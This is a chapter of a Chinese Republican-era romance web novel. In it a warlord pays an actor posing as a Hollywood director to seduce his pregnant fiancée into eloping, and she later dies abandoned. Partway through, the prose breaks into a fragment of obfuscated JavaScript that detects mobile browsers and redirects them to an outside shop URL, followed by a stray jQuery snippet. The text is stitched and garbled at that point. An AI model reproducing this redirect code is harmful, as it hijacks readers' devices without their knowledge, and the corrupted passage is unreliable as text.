沈毅行是在军区医院的走廊里接到林曼云第二封电报的。
彼时他正靠在墙上，指尖夹着的烟卷已经被捏得不成形状，烟丝簌簌地往下掉，落在水磨石地面上，像一小堆褐色的碎末。
走廊尽头，林曼丽的特护病房门紧闭着，门缝里透出消毒水的气味。
“少帅。”陈铭快步走过来，手里捏着一封电报，纸页还是温热的，显然刚从译电室送出来，“林大公子的第二封电报。”
沈毅行接过电报，目光扫过那几行字。电报不长，但每一句话都像通了电。
“中州内乱已平。三日后返申。婚事照原计划推进，不得延误。另，家父对曼丽健康状况深表忧虑。”
“深表忧虑。”沈毅行把电报折了两折，塞进军装内袋，“林宗元忧虑个屁。他忧虑的是他闺女嫁不进来，他捏着三个师却没法来找我交换利益。”
陈铭没有接话。
沈毅行看了一眼那扇紧闭的病房门，忽然觉得很累。
他想抽根烟，但走廊里禁止吸烟的牌子白底红字，挂在头顶，像一只不肯闭上的眼睛。
“陈铭。”他的声音有些哑，“你脑子好使，替我想想——有什么办法，能把婚事拖一拖？”
陈铭愣了一下：“少帅，您的意思是……”
“拖。”沈毅行把烟揉得更碎了，“尽可能往后拖，最好拖到林曼丽自己不想嫁。她是个精于算计的女人，要是她觉得嫁给我会吃亏，或者实在是等不起，她一定要悔婚的。如果换作我先悔婚，损失可就大了！”
陈铭沉默了一会儿，像是在琢磨什么。
“少帅，属下有句话，不知当讲不当讲。”
“讲。”
“林小姐这个人……属下跟她打过几次交道，说实话……也是个不甘寂寞的主。她之所以急着嫁进沈家，一方面是林宗元的意思，另一方面，也是她自己的意思……”
“这话怎么说？”
“大总统不会娶她，除了因为家里有老婆，更重要的，是因为林小姐除了大总统，还跟好几个已婚男人传过绯闻……她肚子里的孩子，指不定是谁的……”
“这事我早有耳闻。”
“但林小姐可不管这些，她不甘心就这么在北平待着，时刻想要出风头，想要走到哪儿都有人捧着。她瞄上沈家，其实是看中了少帅夫人这个头衔，够风光，够体面……”
沈毅行看看陈铭：“所以呢？”
“所以——”陈铭的声音压得很低，低得像怕隔墙有耳，“如果您能让她觉得，有一条比嫁进沈家更好的路摆在面前，她会不会心动？她还要不要跟你死磕？”
“更好的路？什么路？”
陈铭犹豫了一下：“比如……一段新的感情……一个比少帅更有能力的人？”
沈毅行的眼睛眯了起来。
“你的意思是——给她找个男人，她就不想嫁给我了？”
“不是随便找个男人。”陈铭赶紧解释，“是要找一个能让她豁得出去的男人。一个让她觉得，比嫁沈家更风光、更值得的男人。”
沈毅行靠在墙上，盯着走廊天花板上一块剥落的墙皮，看了很久。
“这事可能吗？谁会要她这种破烂？”
“这……其实是可行的……”陈铭思考了很久，笃定地回答。
“细说。”
***
陈铭的想法并不复杂，但执行起来需要极其缜密的布局。
“少帅，林小姐是见过世面的人，一般的追求者打动不了她。她看得上的人，要么有权，要么有名，要么有她没见过的新鲜玩意儿。她之前之所以愿意嫁进沈家，是因为在她眼里，这桩婚事能给她带来最大的风光。如果能让她觉得——有机会去好莱坞当电影明星——她还会死赖在申城？”
沈毅行目光锐利起来：“好莱坞？”
“美国好莱坞。”陈铭点头，“现在申城最时兴的就是好莱坞电影。那些洋人导演、演员、制片人，走到哪儿都有人捧着。如果有一个美国来的好莱坞导演看上林小姐，说要捧她做女主角，带她去美国拍电影——你说她会不会动心？”
“可她肚子里有个孩子……”
“孩子不是问题。那个美国人可以告诉她——不嫌弃她怀孕，愿意照顾她和孩子一辈子。一个未婚先孕的女人，突然遇到一个不计前嫌、愿意带她远走高飞的外国人……这不比嫁进沈家天天跟您吵架来得有吸引力？”
沈毅行沉默了一会儿。
“这样的美国人，能找到吗？我是说……有人原意捡这个破烂吗？”
“当然有。又不是要人家真的娶她，就是演戏骗骗她的！”陈铭说，“属下认识一个人，叫詹姆斯·泰勒，美国人，原来在百老汇当过几年龙套演员，后来混不下去了就来上海。他会说中文，长得也体面，气质上很像那么回事。只要给他一笔钱，他什么都能演，而且肯定演得像。”
“你觉得他能骗得过林曼丽？她和她老子一样，鸡贼着呢！”
“林小姐连英语都不会讲，也没见过真正的好莱坞导演。她只知道好莱坞很风光，在美国拍电影很有钱。只要泰勒装得像，她不会起疑的。”
沈毅行在走廊里来回踱步，目光在墙壁和地板之间来回游移，像是在丈量什么东西的尺寸。虽然只有短短的两分钟，但脑子里就像通了电流，一下子想到很多东西，比两个世纪还要漫长。
“计划不错，但这事不能急。”他终于停下脚步，“林曼丽不是傻瓜，太急了她会起疑。让泰勒先以‘申城文化节特邀嘉宾’的身份出现，跟林曼丽在公共场合‘偶遇’几次。等她对他产生好奇了，再开始下一步。务必不要让她起疑心，否则惊动了林宗元，可就麻烦了！”
“属下明白。”
“还有——这件事，除了你和我，不许第三个人知道。要是漏了风声，你我都吃不了兜着走。”
“属下明白。”
***
詹姆斯·泰勒比沈毅行想象中要好得多。
他大约三十五岁，中等身材，一头浅棕色的卷发，眼睛是灰蓝色的。穿西装的时候，会把口袋巾叠成很讲究的三角形。说中文的时候带着一点软塌塌的洋腔。
沈毅行是在陈铭安排的一家旅馆房间里见到他的。
“沈少帅，久仰大名。”泰勒伸出手，“陈副官已经跟我大概介绍了情况。我只想问一句——我的演出需要持续多久？”
“两到三个月。”沈毅行虚握了一下他的手就松开了，“不用太久。只要能让她相信，你是真的想带她走，她自然会做出选择。”
“如果我做到了呢？”
沈毅行从口袋里掏出一张支票，放在桌上，食指压着推过去。
泰勒看了一眼数字，灰蓝色的眼睛里掠过一丝满意的亮光。
“我会尽全力的。”
“记住——你要让她自己产生离开的念头，而不是让她觉得是你在怂恿她。她要觉得，这一切是她自己的主意。”
“请放心，沈少帅，我可是和斯坦尼斯拉夫斯基合作了五年的演员。”泰勒收好支票，“我会让她觉得——跟我走，是她这辈子最聪明的决定。”
沈毅行没有接这句话，转身走了出去。
***
林曼丽见到泰勒，是在一个星期三的下午。
那时候她已经出院一周，能下床走动了。
丫鬟推着她去法租界的画廊看画展。她向来喜欢这种场合——有音乐，有洋人，有穿着体面的男人端着香槟杯走来走去。
那天她穿了一件鹅黄色的洋装，头发烫成最时兴的样式，涂着鲜红的嘴唇，耳朵上挂着两串珍珠耳坠，俗得发亮。
泰勒在画廊里。
他穿着一身剪裁极好的深蓝色西装，站在一幅风景画前面，端着酒杯，微微侧着头，像是在认真品味什么。
其实他根本不懂画，但他知道站在画前面沉思的姿态会让女人多看几眼。
果然，林曼丽的目光被那个侧影吸引了过去。
她让丫鬟推着她靠近了一些，假装也在看那幅画。
泰勒转过头，目光和她撞在一起。
“这幅画的很有味道。”他说，用那种软塌塌的、带着洋腔的中文，“你不觉得吗？”
林曼丽愣了一下：“你……会说中文？”
“在申城待了三年，不会说中文怎么生活？”泰勒笑了一下，朝她伸出手，“詹姆斯·泰勒，从纽约来。”
“林曼丽。”她伸出手，指尖在他手心里停了一瞬。
“林曼丽。”泰勒重复了一遍她的名字，像是在品味什么好东西，“你的名字很好听。‘曼丽’——像一首歌的名字。”
林曼丽的脸微微红了一下。
泰勒的目光在她脸上停留了四五秒，像在研究一件艺术品。林曼丽已经很久没有被人用这种目光看过了。
“林小姐生得颇具东方美。你是画家吗？”
“不是。来看画的。”林曼丽下意识地拢了拢耳边的碎发，“你呢？你懂画？”
“懂一点点。我在好莱坞工作，布景设计也算半个美术。”
林曼丽的眼睛亮了一下：“好莱坞？”
“是的。”泰勒微微侧过身，像是要把她带进一个更私密的对话空间，“我在好莱坞做了六年导演，去年才来上海。申城这边的文化节邀请我来做顾问。”
林曼丽对“好莱坞导演”这个头衔并不真正了解，但她知道“好莱坞”意味着什么——那是全世界最浮华、最热闹、最令人向往的地方。
泰勒看着她眼睛里那簇跳动的光，知道第一颗种子已经种下去了。
“林小姐，有没有兴趣来我们剧组看看？”他放下酒杯，“我们正在排一部新戏，正好缺一个有东方韵味的女性角色。你的气质非常适合。”
林曼丽愣了一下：“我？演戏？”
“不用专业，有灵气就好。”泰勒微笑着看她，“你站在那里不说话，就已经是一幅画了。你上了台，灯光一打，效果我不敢想。说实话，我第一眼已经被你迷住了。你就是那个角色！”
***
从那天开始，泰勒和林曼丽的见面逐渐频繁起来。
一开始是“看排练”。
泰勒安排了一个临时搭建的排练场，雇了几个群众演员，摆了道具、拉了幕布，像模像样地排了一出短剧。
林曼丽坐在台下，看着灯光下的演员，看着泰勒站在舞台中央指挥调度，带着一种不容置疑的权威感。
她以前只觉得沈毅行在司令部发号施令的样子很有派头，可泰勒不一样——一种从容的、带着艺术气息的掌控力，显得更加有魅力。
“你坐在下面，灯光从侧面照过来的时候，我脑子里忽然出现一个画面——你站在舞台中央，聚光灯打在你身上，整个剧场都在看你。你会让所有人把目光都集中在你的身上。”排练结束后，泰勒走到她身边。
林曼丽的脸烫了一下：“真的吗？你别拿我开玩笑了……”
“我不是开玩笑。”泰勒的语气很认真，“林小姐，你身上有一种东西——很多女演员一辈子都训练不出来的东西。你站在那里，什么都不用做，就会让人想看你。这是天赋。”
林曼丽低头看着自己交握的手指，心里非常忐忑。
“我肚子里还怀着孩子呢。谁要一个大肚子孕妇做女主角？”
泰勒在她面前蹲下来，平视着她的眼睛。
“亲爱的，不允许你自卑！我做过一个调查，好莱坞最成功的女演员，有一大半都是有孩子的。观众不会因为你是一个母亲不看你，反而会觉得你是一个有故事的女人。一个有故事的女人，比一张白纸有趣得多。你现在是一个非常有女性魅力的人。”
林曼丽看着他灰蓝色的瞳孔里映着自己的脸，像是整个人都被装进了他的世界。
“你不嫌弃我挺着大肚子，穿不上漂亮的洋装？我现在看起来臃肿呆滞，很笨拙的样子……”
“嫌弃？”泰勒笑了一下，“我为什么要嫌弃？孩子是上帝的礼物，孕妇是世间最美好的女性。如果你愿意给我一个机会，我会照顾好你们母子。相信我。”
他说得很轻很轻，轻得像一片羽毛落在水面上。
但在林曼丽林曼丽心里，这句话很重很重。
“这一切太突然了。你让我想想。詹姆斯，你真的是好莱坞导演吗？你为什么不去找那些年轻漂亮的女演员？”
“因为她们没有你这种眼睛。”泰勒站起来，拍了拍裤腿上的灰，“曼丽，你被人利用太多次了，所以你不相信会有人真心对你好。我能理解。但我愿意等。”
***
接下来的两周，林曼丽陷入了一种从未有过的状态。
她开始频繁地出入泰勒的排练场，看演员排戏，听泰勒讲好莱坞的故事——霓虹灯、红地毯、记者的闪光灯、首映式上的香槟塔。
那些场景在泰勒的讲述里鲜活得像电影画面，她觉得自己好像已经站在那束聚光灯下面了。
泰勒在排练场隔壁给她安排了一间化妆间，梳妆台上摆着泰勒从香港带回来的法国化妆品，粉盒上印着她看不懂的字母。
墙角的衣架上挂着几件戏服——缎面的旗袍、缀着亮片的舞裙、一顶缀满珍珠的头冠。
“这些都是为你准备的。”泰勒靠在门框上说，“你可以随时来试。不合适的话，我让人从巴黎重新订。”
林曼丽站在那面墙前面，手指轻轻拂过一件深红色丝绒长裙，面料滑过指尖，凉凉的。
她想起自己在帅府的那个房间——沈毅行给她安排的时候脸色是冷的，像是给一个不情不愿的客人准备住处。那些家具是以前客房里搬来的，床单是佣人随便铺的。
从来没有人像泰勒这样，为她准备一件东西时带着诚意和热情。
“詹姆斯，这一切真棒！”她转过身，声音里带着惊喜，“你为什么要对我这么好？”
泰勒从门框上直起身，走过来。
“因为我从来没有见过像你这样的女人。”他说，“你身上有一种……很难形容的东西。你站在人群里，别人都在看你，你自己却不知道。你明明配得上世界上最好的东西，却一直在接受次等的。”
“次等的？”
“你那个粗鲁的未婚夫。”泰勒的语气里有一种惋惜，“他看起来那么粗鲁低级，根本配不上你。要不是因为战争，按他的气质，我觉得只能做个普通的马夫。”
林曼丽攥紧了那件丝绒裙的衣角。
“他确实很低俗，一切新潮的东西都不懂，只会打打杀杀。但我跟他有婚约，他图谋我爸爸的军队。”
“可怜的傻丫头，你怎么这么诚实！婚约是写在纸上的，可你的心写在哪儿？”泰勒的声音很低，“你这样有天赋，难道愿意一辈子守着一个武夫，放弃去好莱坞做电影明星吗？”
林曼丽愣住了，她的手指松开了那件裙子，然后垂下去，攥住了泰勒的手腕。
指尖的温度透过衬衫的布料传过去，两个人谁都没有动。
过了很久，林曼丽已经泪流满面，她缓缓开口：“詹姆斯，我要跟你走，我要去拍电影，我要为自己活一次！你带我去美国吧！不是随便找个地方住下来，是去好莱坞！让我当明星！你能答应我吗？”
“我答应你。”泰勒的声音很平静，“我向你保证。你就是我下一部电影的天选女主角！”
***
林曼丽做出决定的那个晚上，在梳妆台前坐了很久。
化妆镜里映着她的脸——不是被政治婚姻磨损的脸，而是一个在做梦的女孩才会拥有的，充满希望的脸。
她打开抽屉，拿出那份《申城日报》上剪下来的征婚启事，看了很久，忽然笑了。
许薇薇要征婚，沈毅行要娶她。这两个人明明心里都有对方，却偏要互相折磨。
而她林曼丽，不打算陪他们玩下去了。让沈毅行见鬼去吧！
她拿起笔，在一张信纸上写了很久。
信不长，但每一个字都像是从心里掏出来的。
“沈毅行：我走了。我不想嫁给你。本来这桩婚事就是一场交易，你也配不上我。我要去美国，去好莱坞，去做我真正想做的事，去和一个真正爱我的人过一辈子。这个人有才华，比你强，也配得上我。现在我给你自由了，不用谢我。林曼丽。”
她把信折好，塞进信封里，放在梳妆台上。
然后站起来，最后看了一眼那间住了不到两个月的房间——暗红色的壁纸、法式家具、窗台上那盆被她说“太难看了”的绿萝。
她从来没喜欢过这个地方，走的时候，连一秒钟的留恋都没有。
拎着皮箱，轻手轻脚地下了楼。
帅府的大门在身后关上的那一刻，夜风迎面扑来，带着桂花树残留的香气和江水的腥味。她深吸了一口气，觉得从来没有呼吸过这么新鲜的空气。
街对面停着一辆黑色的福特轿车。泰勒从驾驶座上探出头来，朝她挥了挥手。
林曼丽快步走过去，把皮箱扔进后座，拉开车门坐了进去。
“走吧。”她说，声音里有一种她自己都没察觉到的轻快，“去香港。”
“你确定？”泰勒侧过头看着她，“一旦走了，就回不了头了。”
“我不打算回头。我要去拍电影，做明星！”
车子发动，驶入夜色。
“詹姆斯，到了美国，你真的会让我当电影明星吗？”
“当然。”泰勒的手搭在方向盘上，眼睛看着前方的路，“你已经是最好的女主角了。”
林曼丽闭上眼睛，觉得自己的人生终于要开始了。
***
林曼丽离开的第二天早晨，沈毅行在办公室里拆开了那封信。
他看得很慢，每一个字都看了两遍。看到第三行的时候，他的嘴角微微向上动了一下。
他把信折好，放进抽屉里，然后叫陈铭进来。
“备车。去大总统的行辕。”
大总统行辕在法租界一栋三层别墅里，门口有卫兵站岗，园子里种着修剪整齐的冬青树。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638497|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>沈毅行坐在沙发上，等了大半个钟头，大总统才从二楼下来。
“毅行，一大清早来找我，什么事？”
沈毅行从口袋里掏出那封信，递过去。
大总统接过信，看了两遍，脸上的表情从困惑到惊讶到阴沉，最后变成一种说不清道不明的尴尬。
“她跟一个美国人走了？”大总统难以置信，“还是去做电影明星？”
“是。”沈毅行的语气很平静，“她在信里说，要跟那个美国人去好莱坞，拍电影。她不想嫁给我了。大总统，既然林小姐已经另有所爱，这桩婚事……怕是不太适合继续了。况且，她夜里就走了，现在到哪里，我真不知道，也追不上。”
大总统把信纸放在桌上，沉默了。
“她究竟什么时候搭上美国人的？”大总统自言自语道，“我怎么一点儿没发觉？！”
窗外的阳光照进来，落在他的侧脸上，有一瞬间沈毅行看见了他眼底的疲惫。
这个坐拥半壁江山的男人，此刻看起来也不过是个被女人和权力双重辜负的普通人。
“毅行啊，曼丽的事已经这样了，你也不必失望，随她去吧！强扭的瓜不甜！但林宗元那边，你怎么交代？”
“林小姐自己做出的选择，我觉得林将军应该尊重女儿的心意。”沈毅行顿了一下，“如果林将军硬要女儿嫁给我，我也可以答应。但到时候夫妻之间没有感情，日子不会过得好。林小姐幸福不幸福，我无法保证。而且，这当中最被辜负的人，不是沈某，而是大总统您。这媒是您做的，林曼丽一声不吭跟人私奔了，是不给您面子。您做干爹的都不怪她，沈某还怪她干嘛呢？！”
大总统看着沈毅行，忽然笑了。
“小子，你倒是学会拿话堵我了。”
“不敢不敢。”
“行了。”大总统摆了摆手，“这件事就算了吧。林宗元那边，我会跟他解释。至于你——你自由了。”
沈毅行站起来，鞠了一躬。
“多谢大总统。”
走出别墅大门的时候，阳光正好照在沈毅行脸上。
他眯起眼睛，长出了一口气。
***
消息传到林宗元耳朵里，已经是一个星期之后了。
林宗元坐在书房里，手里攥着大总统亲笔写的信，手微微发抖。
“曼丽跑了？”他的声音像从牙缝里挤出来的，“跟一个美国人跑了？”
林曼云站在书桌对面，低着头，不敢说话。
“我养了她二十多年，给她最好的吃穿，最好的教育，给她安排最好的婚事。她倒好，跟一个来路不明的洋人跑了！她脑子是不是被门夹了？”
“爹，听说那个美国人是在好莱坞做导演的，要把曼丽培养成电影明星……”
“做导演？！”林宗元一巴掌拍在桌上，“放着中国那么多大美女不找，这个好莱坞的导演能跑到申城来拐一个孕妇？你信？你信？！”
林曼云不敢吭声了。
林宗元在书房里来回走了几圈，忽然停下来。
“曼云。”
“爹。”
“你妹妹的事，对外就说她得了重病，在北平养病。婚约取消的事，让大总统那边发个声明，就说两家和平解除婚约，不涉及任何过错方。”
“那妹妹那边……”
“她活是林家的人，死是林家的鬼。她要是有一天敢回来，让她自己来见我。要是回不来——”林宗元顿了一下，声音低得几乎听不见，“那就永远不要回来了。我林宗元就当没生过这个女儿！”
***
林曼丽在香港的日子，前三天还是新鲜的。
泰勒带她住进了一家不错的酒店，房间在十楼，窗户能看到维多利亚港的夜景。
他陪她逛街、吃饭、看了两场电影。
但到了第四天，泰勒开始出门。
“我去联系船票和美国的公司。”他出门前亲了她的额头，“你在酒店等我，别乱跑。”
林曼丽点头，像一只听话的猫。
第五天，泰勒没回来。
第六天，泰勒回来了，但只待了三个小时。他说事情有点复杂，需要更多时间。
第七天，泰勒说要去一趟广州，两天就回来。
但再也没回来。
林曼丽在酒店房间里等了三天。
三天没有出门，没有换衣服，只喝了一碗酒店送来的白粥。
她打电话去泰勒说的那家公司，对方说从来没有听说过这个名字。
她打电话去申城，没有人接。
她打电话去北平，林曼云接起来，声音冷得像冰。
“你还有脸打电话回来？”
“哥，我……”
“爹说了，你要是回不来，就永远不用回来了。就当没生过你！”
电话被挂断了。
林曼丽坐在酒店房间的床边，看着窗外的维多利亚港，灯火辉煌，海水在夜色里黑沉沉的。
第十天，林曼丽退了房。
她身上的钱不够了，只剩下一张回申城的船票钱。
买了票，上了船，船在海上漂了一天一夜。
她吃了半块干面包，喝了几口水，吐了两次——肚子里那个孩子已经五个月了，漫长的旅途让胎儿极其不安，胎动也特别频繁，林曼丽觉得有些吃不消。
船靠岸的时候，天在下雨。
她拎着那只皮箱，沿着码头往前走。
雨水把她的头发打湿了，贴在脸上，冷冰冰的。路上的行人撑着伞匆匆走过，没有人看她。
她走到车站，想买一张去北平的票。
售票窗口前排着长队，她站了很久，觉得腿软。
雨还在下，从车站的顶棚缝隙里漏下来，滴在她的肩膀上，凉意渗进皮肤。
她向前挪了两步。
忽然眼前一黑，脚下一滑，整个人向前栽倒。皮箱脱手，滚出去，在湿漉漉的地面上转了一圈，停了下来。
车站的地面是大理石的，又硬又滑。
她听见自己后脑勺撞在地面上的声音，闷闷的，像什么东西碎了。
然后是腹部传来的剧痛，疼得她蜷缩起来。
有人尖叫，有人跑过来，有人蹲下来问她“小姐你怎么了”，但她什么话都说不出来了。
她只觉得身体里有什么东西正在流逝，温热的，源源不断的，从身上流出去，流到冰冷的大理石地面上，汇成一小滩深色的水渍。
她的视线开始模糊，雨声开始变远。
然后一切暗了下来。
***
消息传到申城的时候，已经是五天之后了。
陈铭拿着一封电报走进办公室。
“少帅，广州港口来的消息。林小姐……在车站摔倒。因为身体原因，当时就大出血了。送到医院的时候已经……”
他没有说下去。
沈毅行接过电报，看了几行。
“她肚子里的孩子，不是我的。”沈毅行漫不经心地说。
“林小姐死在车站，身边没有一个人。皮箱里只有一件戏服，是那个美国人给她买的。广州港的人把她送到医院抢救的。他们问，林小姐的遗体和遗物，怎么处理……”
沈毅行站起来，走到窗前。
窗外的天灰蒙蒙的，法租界的钟楼在雾里若隐若现，钟声沉闷地敲了四下。
“给林宗元发电报。把经过告诉他。就说……林小姐是我未婚妻，为了表示哀悼，她的遗体就由沈家出资运回北平。问林宗元怎么安排后事。”
陈铭点了点头，转身要走。
“陈铭。”
“属下在。”
“那个美国人……”沈毅行顿了一下，“去哪儿了？”
“他拿到钱后，以最快的速度去了新加坡，又从新加坡坐船去了美国。现在应该在加州某地。不会有人查到他的行踪——”
“那就好。”沈毅行打断他，“这事得保密。千万别喝多了黄汤，出去跟人乱讲！”
***
那天晚上，沈毅行一个人在办公室里坐到很晚。桌上放着那封林曼丽留下的信。
他看了很多遍，信纸被他来回折叠，折痕处已经起了毛。
“给你自由。”她在信的末尾写。
沈毅行把那四个字看了很久，
窗外的申城灯火通明，法租界的霓虹灯在远处闪着暧昧的光。这座城市的繁华和罪恶永远搅在一起，像一坛酿了不知道多少年的酒，浓烈、浑浊、让人上头。
沈毅行把烟叼在嘴里，用火柴点燃。
火光在黑暗中亮了一瞬，照亮了他眼底的青黑和嘴角那道自嘲的笑意。
火柴燃尽了，他把它扔在烟灰缸里，看着那点红光慢慢暗下去，变成一小截焦黑的梗。
窗外，月亮从云层里钻出来，照得窗台上的灰尘都一清二楚。
他忽然想起许薇薇在帅府住的那间房，窗台上也有一盆文竹。她离开的时候，文竹还绿着。
现在大概已经枯了。